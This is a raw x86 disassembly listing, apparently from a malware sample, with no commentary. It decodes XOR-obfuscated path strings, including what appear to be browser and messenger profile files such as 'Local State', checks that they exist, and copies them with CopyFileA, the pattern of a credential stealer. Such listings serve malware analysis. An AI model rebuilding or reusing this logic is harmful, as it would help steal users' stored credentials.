lea ecx, [ebp - 0x9ec]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x104c]
mov byte [ebp - 4], 0x90
call fcn.00402a10
lea ecx, [ebp - 0x9ec]
call fcn.00402b50
push 0
push eax
call edi
test eax, eax
je 0x455fdb
movaps xmm0, xmmword [0x549960]
xor ecx, ecx
movups xmmword [ebp - 0x881], xmm0
mov dword [ebp - 0x861], 0xf989c4c6
movaps xmm0, xmmword [0x548ce0]
movups xmmword [ebp - 0x871], xmm0
movaps xmm0, xmmword [0x547200]
movups xmmword [ebp - 0x85d], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x881], al
inc ecx
cmp ecx, 0x2a
jb 0x455e71
lea eax, [ebp - 0x881]
mov dword [0x55d61c], ecx
push eax
lea ecx, [ebp - 0x107c]
mov byte [ebp - 0x857], 0
call fcn.00402ab0
lea ecx, [ebp - 0x107c]
mov byte [ebp - 4], 0x91
call fcn.00402b50
push eax
lea ecx, [ebp - 0x171c]
call fcn.00402ab0
mov esi, eax
mov byte [ebp - 4], 0x92
xor ecx, ecx
movaps xmm0, xmmword [0x547080]
mov byte [ebp - 0x472], 0xc6
movups xmmword [ebp - 0x471], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x472], al
inc ecx
cmp ecx, 7
jb 0x455ee0
lea eax, [ebp - 0x472]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0x1064]
mov byte [ebp - 0x46b], 0
call fcn.00402ab0
lea ecx, [ebp - 0x1064]
mov byte [ebp - 4], 0x93
call fcn.00402b50
push eax
call fcn.00509aff
add esp, 4
lea ecx, [ebp - 0xbcc]
mov edx, eax
push esi
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x1064]
call fcn.00402a10
lea ecx, [ebp - 0x171c]
call fcn.00402a10
lea ecx, [ebp - 0x107c]
mov byte [ebp - 4], 0x97
call fcn.00402a10
lea ecx, [ebp - 0xbcc]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x455fba
sub esp, 0x18
mov byte [ebp - 0x10], 0
lea eax, [ebp - 0x9ec]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.00483010
sub esp, 0x18
mov byte [ebp - 4], 0x98
lea eax, [ebp - 0xbcc]
mov ecx, esp
push eax
call fcn.00483010
mov cl, byte [ebp - 0x10]
mov byte [ebp - 4], 0x97
call fcn.00412090
add esp, 0x30
test eax, eax
jne 0x455fba
mov byte [ebp - 0xd], 1
jmp 0x455fcc
push 0
mov dl, 1
lea ecx, [ebp - 0x9ec]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xbcc]
mov byte [ebp - 4], 0x90
call fcn.00402a10
movaps xmm0, xmmword [0x548270]
xor ecx, ecx
mov word [ebp - 0x3fe], 0xcddb
movups xmmword [ebp - 0x3fc], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x3fe], al
inc ecx
cmp ecx, 8
jb 0x455ff4
lea eax, [ebp - 0x3fe]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0x1094]
mov byte [ebp - 0x3f6], 0
call fcn.00402ab0
lea ecx, [ebp - 0x1094]
mov byte [ebp - 4], 0x99
call fcn.00402b50
push eax
lea edx, [ebp - 0x3ec]
lea ecx, [ebp - 0xa04]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x1094]
mov byte [ebp - 4], 0x9b
call fcn.00402a10
lea ecx, [ebp - 0xa04]
call fcn.00402b50
push 0
push eax
call edi
test eax, eax
je 0x4561fb
movaps xmm0, xmmword [0x548c70]
xor ecx, ecx
movups xmmword [ebp - 0xa77], xmm0
movaps xmm0, xmmword [0x548250]
movups xmmword [ebp - 0xa67], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xa77], al
inc ecx
cmp ecx, 0x16
jb 0x456090
lea eax, [ebp - 0xa77]
mov dword [0x55d574], ecx
push eax
lea ecx, [ebp - 0x10c4]
mov byte [ebp - 0xa61], 0
call fcn.00402ab0
lea ecx, [ebp - 0x10c4]
mov byte [ebp - 4], 0x9c
call fcn.00402b50
push eax
lea ecx, [ebp - 0x1734]
call fcn.00402ab0
mov esi, eax
mov byte [ebp - 4], 0x9d
xor ecx, ecx
movaps xmm0, xmmword [0x547080]
mov byte [ebp - 0x483], 0xc6
movups xmmword [ebp - 0x482], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x483], al
inc ecx
cmp ecx, 7
jb 0x456100
lea eax, [ebp - 0x483]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0x10ac]
mov byte [ebp - 0x47c], 0
call fcn.00402ab0
lea ecx, [ebp - 0x10ac]
mov byte [ebp - 4], 0x9e
call fcn.00402b50
push eax
call fcn.00509aff
add esp, 4
lea ecx, [ebp - 0xbe4]
mov edx, eax
push esi
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x10ac]
call fcn.00402a10
lea ecx, [ebp - 0x1734]
call fcn.00402a10
lea ecx, [ebp - 0x10c4]
mov byte [ebp - 4], 0xa2
call fcn.00402a10
lea ecx, [ebp - 0xbe4]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x4561da
sub esp, 0x18
mov byte [ebp - 0x10], 0
lea eax, [ebp - 0xa04]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.00483010
sub esp, 0x18
mov byte [ebp - 4], 0xa3
lea eax, [ebp - 0xbe4]
mov ecx, esp
push eax
call fcn.00483010
mov cl, byte [ebp - 0x10]
mov byte [ebp - 4], 0xa2
call fcn.00412090
add esp, 0x30
test eax, eax
jne 0x4561da
mov byte [ebp - 0xd], 1
jmp 0x4561ec
push 0
mov dl, 1
lea ecx, [ebp - 0xa04]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xbe4]
mov byte [ebp - 4], 0x9b
call fcn.00402a10
xorps xmm0, xmm0
mov dword [ebp - 0x69], 0xdbcac1db
movq qword [ebp - 0x65], xmm0
xor ecx, ecx
mov word [ebp - 0x5d], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x69], al
inc ecx
cmp ecx, 4
jb 0x456212
lea eax, [ebp - 0x69]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [ebp - 0x10dc]
mov byte [ebp - 0x65], 0
call fcn.00402ab0
lea ecx, [ebp - 0x10dc]
mov byte [ebp - 4], 0xa4
call fcn.00402b50
push eax
lea edx, [ebp - 0x3ec]
lea ecx, [ebp - 0x9a4]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x10dc]
mov byte [ebp - 4], 0xa6
call fcn.00402a10
lea ecx, [ebp - 0x9a4]
call fcn.00402b50
push 0
push eax
call edi
test eax, eax
je 0x45640b
movaps xmm0, xmmword [0x546f30]
xor ecx, ecx
mov word [ebp - 0x3d2], 0xc1db
mov byte [ebp - 0x3d0], 0xca
movups xmmword [ebp - 0x3cf], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x3d2], al
inc ecx
cmp ecx, 9
jb 0x4562a4
lea eax, [ebp - 0x3d2]
mov dword [0x55d630], ecx
push eax
lea ecx, [ebp - 0x110c]
mov byte [ebp - 0x3c9], 0
call fcn.00402ab0
lea ecx, [ebp - 0x110c]
mov byte [ebp - 4], 0xa7
call fcn.00402b50
push eax
lea ecx, [ebp - 0x174c]
call fcn.00402ab0
mov esi, eax
mov byte [ebp - 4], 0xa8
xor ecx, ecx
movaps xmm0, xmmword [0x547080]
mov byte [ebp - 0x494], 0xc6
movups xmmword [ebp - 0x493], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x494], al
inc ecx
cmp ecx, 7
jb 0x456310
lea eax, [ebp - 0x494]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0x10f4]
mov byte [ebp - 0x48d], 0
call fcn.00402ab0
lea ecx, [ebp - 0x10f4]
mov byte [ebp - 4], 0xa9
call fcn.00402b50
push eax
call fcn.00509aff
add esp, 4
lea ecx, [ebp - 0xc14]
mov edx, eax
push esi
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x10f4]
call fcn.00402a10
lea ecx, [ebp - 0x174c]
call fcn.00402a10
lea ecx, [ebp - 0x110c]
mov byte [ebp - 4], 0xad
call fcn.00402a10
lea ecx, [ebp - 0xc14]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x4563ea
sub esp, 0x18
mov byte [ebp - 0x10], 0
lea eax, [ebp - 0x9a4]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.00483010
sub esp, 0x18
mov byte [ebp - 4], 0xae
lea eax, [ebp - 0xc14]
mov ecx, esp
push eax
call fcn.00483010
mov cl, byte [ebp - 0x10]
mov byte [ebp - 4], 0xad
call fcn.00412090
add esp, 0x30
test eax, eax
jne 0x4563ea
mov byte [ebp - 0xd], 1
jmp 0x4563fc
push 0
mov dl, 1
lea ecx, [ebp - 0x9a4]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xc14]
mov byte [ebp - 4], 0xa6
call fcn.00402a10
movaps xmm0, xmmword [0x5474f0]
xor ecx, ecx
mov byte [ebp - 0x4a5], 0xdb
movups xmmword [ebp - 0x4a4], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x4a5], al
inc ecx
cmp ecx, 7
jb 0x456422
lea eax, [ebp - 0x4a5]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0x1124]
mov byte [ebp - 0x49e], 0
call fcn.00402ab0
lea ecx, [ebp - 0x1124]
mov byte [ebp - 4], 0xaf
call fcn.00402b50
push eax
lea edx, [ebp - 0x3ec]
lea ecx, [ebp - 0x144]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x1124]
mov byte [ebp - 4], 0xb1
call fcn.00402a10
lea ecx, [ebp - 0x144]
call fcn.00402b50
push 0
push eax
call edi
test eax, eax
je 0x457058
movaps xmm0, xmmword [0x5474f0]
xor ecx, ecx
mov byte [ebp - 0xe], 0
mov byte [ebp - 0x4b6], 0xdb
movups xmmword [ebp - 0x4b5], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x4b6], al
inc ecx
cmp ecx, 7
jb 0x4564c0
lea eax, [ebp - 0x4b6]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0x1154]
mov byte [ebp - 0x4af], 0
call fcn.00402ab0
lea ecx, [ebp - 0x1154]
mov byte [ebp - 4], 0xb2
call fcn.00402b50
push eax
lea ecx, [ebp - 0x1764]
call fcn.00402ab0
mov esi, eax
mov byte [ebp - 4], 0xb3
xor ecx, ecx
movaps xmm0, xmmword [0x547080]
mov byte [ebp - 0x4c7], 0xc6
movups xmmword [ebp - 0x4c6], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x4c7], al
inc ecx
cmp ecx, 7
jb 0x456530
lea eax, [ebp - 0x4c7]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0x113c]
mov byte [ebp - 0x4c0], 0
call fcn.00402ab0
lea ecx, [ebp - 0x113c]
mov byte [ebp - 4], 0xb4
call fcn.00402b50
push eax
call fcn.00509aff
add esp, 4
lea ecx, [ebp - 0x5e4]
mov edx, eax
push esi
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x113c]
call fcn.00402a10
lea ecx, [ebp - 0x1764]
call fcn.00402a10
lea ecx, [ebp - 0x1154]
mov byte [ebp - 4], 0xb8
call fcn.00402a10
lea ecx, [ebp - 0x5e4]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x457037
movaps xmm0, xmmword [0x547f20]
xor ecx, ecx
mov dword [ebp - 0x18c], 0xe9e6c4db
mov dword [ebp - 0x188], 0xddade0ea
movups xmmword [ebp - 0x184], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x18c], al
inc ecx
cmp ecx, 0xe
jb 0x4565f0
lea eax, [ebp - 0x18c]
mov dword [0x55d524], ecx
push eax
lea ecx, [ebp - 0x116c]
mov byte [ebp - 0x17e], 0
call fcn.00402ab0
lea ecx, [ebp - 0x116c]
mov byte [ebp - 4], 0xb9
call fcn.00402b50
push eax
lea edx, [ebp - 0x5e4]
lea ecx, [ebp - 0xcec]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x116c]
mov byte [ebp - 4], 0xbb
call fcn.00402a10
lea ecx, [ebp - 0xcec]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x456702
movaps xmm0, xmmword [0x547f20]
xor ecx, ecx
mov dword [ebp - 0x174], 0xe9e6c4db
mov dword [ebp - 0x170], 0xddade0ea
movups xmmword [ebp - 0x16c], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x174], al
inc ecx
cmp ecx, 0xe
jb 0x456691
lea eax, [ebp - 0x174]
mov dword [0x55d524], ecx
push eax
lea ecx, [ebp - 0x1184]
mov byte [ebp - 0x166], 0
call fcn.00402ab0
mov byte [ebp - 4], 0xbc
lea ecx, [ebp - 0x1184]
or ebx, 0x10
mov dword [ebp - 0x18], ebx
call fcn.00402b50
push eax
lea edx, [ebp - 0x144]
lea ecx, [ebp - 0x177c]
call fcn.00486d20
add esp, 4
mov ecx, eax
or ebx, 0x20
push 0
call fcn.00402b50
push eax
call edi
mov byte [ebp - 0xf], 1
test eax, eax
jne 0x456706
mov byte [ebp - 0xf], 0
test bl, 0x20
je 0x456719
lea ecx, [ebp - 0x177c]
and ebx, 0xffffffdf
call fcn.00402a10
mov dword [ebp - 4], 0xbb
test bl, 0x10
je 0x456733
lea ecx, [ebp - 0x1184]
and ebx, 0xffffffef
call fcn.00402a10
cmp byte [ebp - 0xf], 0
je 0x4567fb
movaps xmm0, xmmword [0x547f20]
xor ecx, ecx
mov dword [ebp - 0x15c], 0xe9e6c4db
mov dword [ebp - 0x158], 0xddade0ea
movups xmmword [ebp - 0x154], xmm0
mov byte [ebp - 0x10], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x15c], al
inc ecx
cmp ecx, 0xe
jb 0x456765
lea eax, [ebp - 0x15c]
mov dword [0x55d524], ecx
push eax
lea ecx, [ebp - 0x119c]
mov byte [ebp - 0x14e], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0xbd
lea ecx, [ebp - 0x119c]
mov dword [ebp - 0x14], esp
mov esi, esp
call fcn.00402b50
push eax
lea edx, [ebp - 0x144]
mov ecx, esi
call fcn.00486d20
sub esp, 0x14
mov byte [ebp - 4], 0xbe
lea eax, [ebp - 0xcec]
mov ecx, esp
push eax
call fcn.00483010
mov cl, byte [ebp - 0x10]
mov byte [ebp - 4], 0xbd
call fcn.00412090
add esp, 0x30
mov byte [ebp - 4], 0xbb
lea ecx, [ebp - 0x119c]
mov esi, eax
call fcn.00402a10
test esi, esi
jne 0x4567fb
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 1
movaps xmm0, xmmword [0x5499f0]
xor ecx, ecx
movups xmmword [ebp - 0x71c], xmm0
mov word [ebp - 0x704], 0
xorps xmm0, xmm0
movq qword [ebp - 0x70c], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x71c], al
inc ecx
cmp ecx, 0x10
jb 0x456820
lea eax, [ebp - 0x71c]
mov dword [0x55d628], ecx
push eax
lea ecx, [ebp - 0x11b4]
mov byte [ebp - 0x70c], 0
call fcn.00402ab0
lea ecx, [ebp - 0x11b4]
mov byte [ebp - 4], 0xbf
call fcn.00402b50
push eax
lea edx, [ebp - 0x5e4]
lea ecx, [ebp - 0xcd4]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x11b4]
mov byte [ebp - 4], 0xc1
call fcn.00402a10
lea ecx, [ebp - 0xcd4]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x456935
movaps xmm0, xmmword [0x5499f0]
xor ecx, ecx
movups xmmword [ebp - 0x702], xmm0
mov word [ebp - 0x6ea], 0
xorps xmm0, xmm0
movq qword [ebp - 0x6f2], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x702], al
inc ecx
cmp ecx, 0x10
jb 0x4568c1
lea eax, [ebp - 0x702]
mov dword [0x55d628], ecx
push eax
lea ecx, [ebp - 0x11cc]
mov byte [ebp - 0x6f2], 0
call fcn.00402ab0
mov byte [ebp - 4], 0xc2
lea ecx, [ebp - 0x11cc]
or ebx, 0x40
mov dword [ebp - 0x18], ebx
call fcn.00402b50
push eax
lea edx, [ebp - 0x144]
lea ecx, [ebp - 0x1794]
call fcn.00486d20
add esp, 4
mov ecx, eax
or ebx, 0x80
push 0
call fcn.00402b50
push eax
call edi
mov byte [ebp - 0xf], 1
test eax, eax
jne 0x456939
mov byte [ebp - 0xf], 0
test bl, bl
jns 0x45694e
lea ecx, [ebp - 0x1794]
and ebx, 0xffffff7f
call fcn.00402a10
mov dword [ebp - 4], 0xc1
test bl, 0x40
je 0x456968
lea ecx, [ebp - 0x11cc]
and ebx, 0xffffffbf
call fcn.00402a10
cmp byte [ebp - 0xf], 0
je 0x456a36
movaps xmm0, xmmword [0x5499f0]
xor ecx, ecx
movups xmmword [ebp - 0x6e8], xmm0
mov word [ebp - 0x6d0], 0
xorps xmm0, xmm0
mov byte [ebp - 0x10], 0
movq qword [ebp - 0x6d8], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x6e8], al
inc ecx
cmp ecx, 0x10
jb 0x4569a0
lea eax, [ebp - 0x6e8]
mov dword [0x55d628], ecx
push eax
lea ecx, [ebp - 0x11e4]
mov byte [ebp - 0x6d8], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0xc3
lea ecx, [ebp - 0x11e4]
mov dword [ebp - 0x14], esp
mov esi, esp
call fcn.00402b50
push eax
lea edx, [ebp - 0x144]
mov ecx, esi
call fcn.00486d20
sub esp, 0x14
mov byte [ebp - 4], 0xc4
lea eax, [ebp - 0xcd4]
mov ecx, esp
push eax
call fcn.00483010
mov cl, byte [ebp - 0x10]
mov byte [ebp - 4], 0xc3
call fcn.00412090
add esp, 0x30
mov byte [ebp - 4], 0xc1
lea ecx, [ebp - 0x11e4]
mov esi, eax
call fcn.00402a10
test esi, esi
jne 0x456a36
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 1
xorps xmm0, xmm0
mov dword [ebp - 0x77], 0xe6f8fbdb
movq qword [ebp - 0x73], xmm0
xor ecx, ecx
mov word [ebp - 0x6b], 0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x77], al
inc ecx
cmp ecx, 4
jb 0x456a50
lea eax, [ebp - 0x77]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [ebp - 0x11fc]
mov byte [ebp - 0x73], 0
call fcn.00402ab0
lea ecx, [ebp - 0x11fc]
mov byte [ebp - 4], 0xc5
call fcn.00402b50
push eax
lea edx, [ebp - 0x5e4]
lea ecx, [ebp - 0xcbc]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x11fc]
mov byte [ebp - 4], 0xc7
call fcn.00402a10
lea ecx, [ebp - 0xcbc]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x456b58
xorps xmm0, xmm0
mov dword [ebp - 0x85], 0xe6f8fbdb
movq qword [ebp - 0x81], xmm0
xor ecx, ecx
mov word [ebp - 0x79], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x85], al
inc ecx
cmp ecx, 4
jb 0x456ae1
lea eax, [ebp - 0x85]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [ebp - 0x1214]
mov byte [ebp - 0x81], 0
call fcn.00402ab0
mov byte [ebp - 4], 0xc8
lea ecx, [ebp - 0x1214]
or ebx, 0x100
mov dword [ebp - 0x18], ebx
call fcn.00402b50
push eax
lea edx, [ebp - 0x144]
lea ecx, [ebp - 0x17ac]
call fcn.00486d20
add esp, 4
mov ecx, eax
or ebx, 0x200
push 0
call fcn.00402b50
push eax
call edi
mov byte [ebp - 0xf], 1
test eax, eax
jne 0x456b5c
mov byte [ebp - 0xf], 0
test ebx, 0x200
je 0x456b75
lea ecx, [ebp - 0x17ac]
and ebx, 0xfffffdff
call fcn.00402a10
mov dword [ebp - 4], 0xc7
test ebx, 0x100
je 0x456b95
lea ecx, [ebp - 0x1214]
and ebx, 0xfffffeff
call fcn.00402a10
cmp byte [ebp - 0xf], 0
je 0x456c59
xorps xmm0, xmm0
mov dword [ebp - 0x93], 0xe6f8fbdb
movq qword [ebp - 0x8f], xmm0
xor ecx, ecx
mov word [ebp - 0x87], 0
mov byte [ebp - 0x10], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x93], al
inc ecx
cmp ecx, 4
jb 0x456bc3
lea eax, [ebp - 0x93]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [ebp - 0x122c]
mov byte [ebp - 0x8f], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0xc9
lea ecx, [ebp - 0x122c]
mov dword [ebp - 0x14], esp
mov esi, esp
call fcn.00402b50
push eax
lea edx, [ebp - 0x144]
mov ecx, esi
call fcn.00486d20
sub esp, 0x14
mov byte [ebp - 4], 0xca
lea eax, [ebp - 0xcbc]
mov ecx, esp
push eax
call fcn.00483010
mov cl, byte [ebp - 0x10]
mov byte [ebp - 4], 0xc9
call fcn.00412090
add esp, 0x30
mov byte [ebp - 4], 0xc7
lea ecx, [ebp - 0x122c]
mov esi, eax
call fcn.00402a10
test esi, esi
jne 0x456c59
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 1
movaps xmm0, xmmword [0x547740]
xor ecx, ecx
mov dword [ebp - 0x370], 0xfee8ecdb
movups xmmword [ebp - 0x36c], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x370], al
inc ecx
cmp ecx, 0xa
jb 0x456c73
lea eax, [ebp - 0x370]
mov dword [0x55d5e0], ecx
push eax
lea ecx, [ebp - 0x1244]
mov byte [ebp - 0x366], 0
call fcn.00402ab0
lea ecx, [ebp - 0x1244]
mov byte [ebp - 4], 0xcb
call fcn.00402b50
push eax
lea edx, [ebp - 0x5e4]
lea ecx, [ebp - 0xca4]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x1244]
mov byte [ebp - 4], 0xcd
call fcn.00402a10
lea ecx, [ebp - 0xca4]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x456d87
movaps xmm0, xmmword [0x547740]
xor ecx, ecx
mov dword [ebp - 0x384], 0xfee8ecdb
movups xmmword [ebp - 0x380], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x384], al
inc ecx
cmp ecx, 0xa
jb 0x456d10
lea eax, [ebp - 0x384]
mov dword [0x55d5e0], ecx
push eax
lea ecx, [ebp - 0x125c]
mov byte [ebp - 0x37a], 0
call fcn.00402ab0
mov byte [ebp - 4], 0xce
lea ecx, [ebp - 0x125c]
or ebx, 0x400
mov dword [ebp - 0x18], ebx
call fcn.00402b50
push eax
lea edx, [ebp - 0x144]
lea ecx, [ebp - 0x17c4]
call fcn.00486d20
add esp, 4
mov ecx, eax
or ebx, 0x800
push 0
call fcn.00402b50
push eax
call edi
mov byte [ebp - 0xf], 1
test eax, eax
jne 0x456d8b
mov byte [ebp - 0xf], 0
test ebx, 0x800
je 0x456da4
lea ecx, [ebp - 0x17c4]
and ebx, 0xfffff7ff
call fcn.00402a10
mov dword [ebp - 4], 0xcd
test ebx, 0x400
je 0x456dc4
lea ecx, [ebp - 0x125c]
and ebx, 0xfffffbff
call fcn.00402a10
cmp byte [ebp - 0xf], 0
je 0x456e86
movaps xmm0, xmmword [0x547740]
xor ecx, ecx
mov dword [ebp - 0x398], 0xfee8ecdb
movups xmmword [ebp - 0x394], xmm0
mov byte [ebp - 0x10], 0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x398], al
inc ecx
cmp ecx, 0xa
jb 0x456df0
lea eax, [ebp - 0x398]
mov dword [0x55d5e0], ecx
push eax
lea ecx, [ebp - 0x1274]
mov byte [ebp - 0x38e], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0xcf
lea ecx, [ebp - 0x1274]
mov dword [ebp - 0x14], esp
mov esi, esp
call fcn.00402b50
push eax
lea edx, [ebp - 0x144]
mov ecx, esi
call fcn.00486d20
sub esp, 0x14
mov byte [ebp - 4], 0xd0
lea eax, [ebp - 0xca4]
mov ecx, esp
push eax
call fcn.00483010
mov cl, byte [ebp - 0x10]
mov byte [ebp - 4], 0xcf
call fcn.00412090
add esp, 0x30
mov byte [ebp - 4], 0xcd
lea ecx, [ebp - 0x1274]
mov esi, eax
call fcn.00402a10
test esi, esi
jne 0x456e86
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 1
movaps xmm0, xmmword [0x5483a0]
xor ecx, ecx
mov dword [ebp - 0x288], 0xe4e6ebdb
mov word [ebp - 0x284], 0xe5ed
movups xmmword [ebp - 0x282], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x288], al
inc ecx
cmp ecx, 0xc
jb 0x456eb0
lea eax, [ebp - 0x288]
mov dword [0x55d528], ecx
push eax
lea ecx, [ebp - 0x128c]
mov byte [ebp - 0x27c], 0
call fcn.00402ab0
lea ecx, [ebp - 0x128c]
mov byte [ebp - 4], 0xd1
call fcn.00402b50
push eax
lea edx, [ebp - 0x5e4]
lea ecx, [ebp - 0xc74]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x128c]
mov byte [ebp - 4], 0xd3
call fcn.00402a10
sub esp, 0x18
lea ecx, [ebp - 0xc74]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
call fcn.0040da60
add esp, 0x18
test al, al
je 0x456ff6
movaps xmm0, xmmword [0x5483a0]
xor ecx, ecx
mov dword [ebp - 0x29e], 0xe4e6ebdb
mov word [ebp - 0x29a], 0xe5ed
movups xmmword [ebp - 0x298], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x29e], al
inc ecx
cmp ecx, 0xc
jb 0x456f60
lea eax, [ebp - 0x29e]
mov dword [0x55d528], ecx
push eax
lea ecx, [ebp - 0x12a4]
mov byte [ebp - 0x292], 0
call fcn.00402ab0
lea ecx, [ebp - 0x12a4]
mov byte [ebp - 4], 0xd4
call fcn.00402b50
push eax
lea edx, [ebp - 0x144]
lea ecx, [ebp - 0x17dc]
call fcn.00486d20
add esp, 4
mov ecx, eax
call fcn.00402b50
lea ecx, [ebp - 0xc74]
mov esi, eax
call fcn.00402b50
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x17dc]
mov esi, eax
call fcn.00402a10
lea ecx, [ebp - 0x12a4]
call fcn.00402a10
test esi, esi
je 0x456ff6
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 1
lea ecx, [ebp - 0xc74]
call fcn.00402a10
lea ecx, [ebp - 0xca4]
call fcn.00402a10
lea ecx, [ebp - 0xcbc]
call fcn.00402a10
lea ecx, [ebp - 0xcd4]
call fcn.00402a10
lea ecx, [ebp - 0xcec]
mov byte [ebp - 4], 0xb8
call fcn.00402a10
cmp byte [ebp - 0xe], 0
jne 0x457049
push 0
mov dl, 1
lea ecx, [ebp - 0x144]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0x5e4]
mov byte [ebp - 4], 0xb1
call fcn.00402a10
xorps xmm0, xmm0
mov dword [ebp - 0xa1], 0xf2e6dcdb
movq qword [ebp - 0x9d], xmm0
xor ecx, ecx
mov word [ebp - 0x95], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xa1], al
inc ecx
cmp ecx, 4
jb 0x457080
lea eax, [ebp - 0xa1]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [ebp - 0x12bc]
mov byte [ebp - 0x9d], 0
call fcn.00402ab0
lea ecx, [ebp - 0x12bc]
mov byte [ebp - 4], 0xd5
call fcn.00402b50
push eax
lea edx, [ebp - 0x3ec]
lea ecx, [ebp - 0x98c]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x12bc]
mov byte [ebp - 4], 0xd7
call fcn.00402a10
lea ecx, [ebp - 0x98c]
call fcn.00402b50
push 0
push eax
call edi
test eax, eax
je 0x4575ea
xor al, al
mov dword [ebp - 0xaf], 0xf2e6fcdb
xorps xmm0, xmm0
mov byte [ebp - 0xe], al
movq qword [ebp - 0xab], xmm0
xor ecx, ecx
mov word [ebp - 0xa3], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xaf], al
inc ecx
cmp ecx, 4
jb 0x457120
lea eax, [ebp - 0xaf]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [ebp - 0x12ec]
mov byte [ebp - 0xab], 0
call fcn.00402ab0
lea ecx, [ebp - 0x12ec]
mov byte [ebp - 4], 0xd8
call fcn.00402b50
push eax
lea ecx, [ebp - 0x17f4]
call fcn.00402ab0
mov esi, eax
mov byte [ebp - 4], 0xd9
xor ecx, ecx
movaps xmm0, xmmword [0x547080]
mov byte [ebp - 0x4d8], 0xc6
movups xmmword [ebp - 0x4d7], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x4d8], al
inc ecx
cmp ecx, 7
jb 0x457190
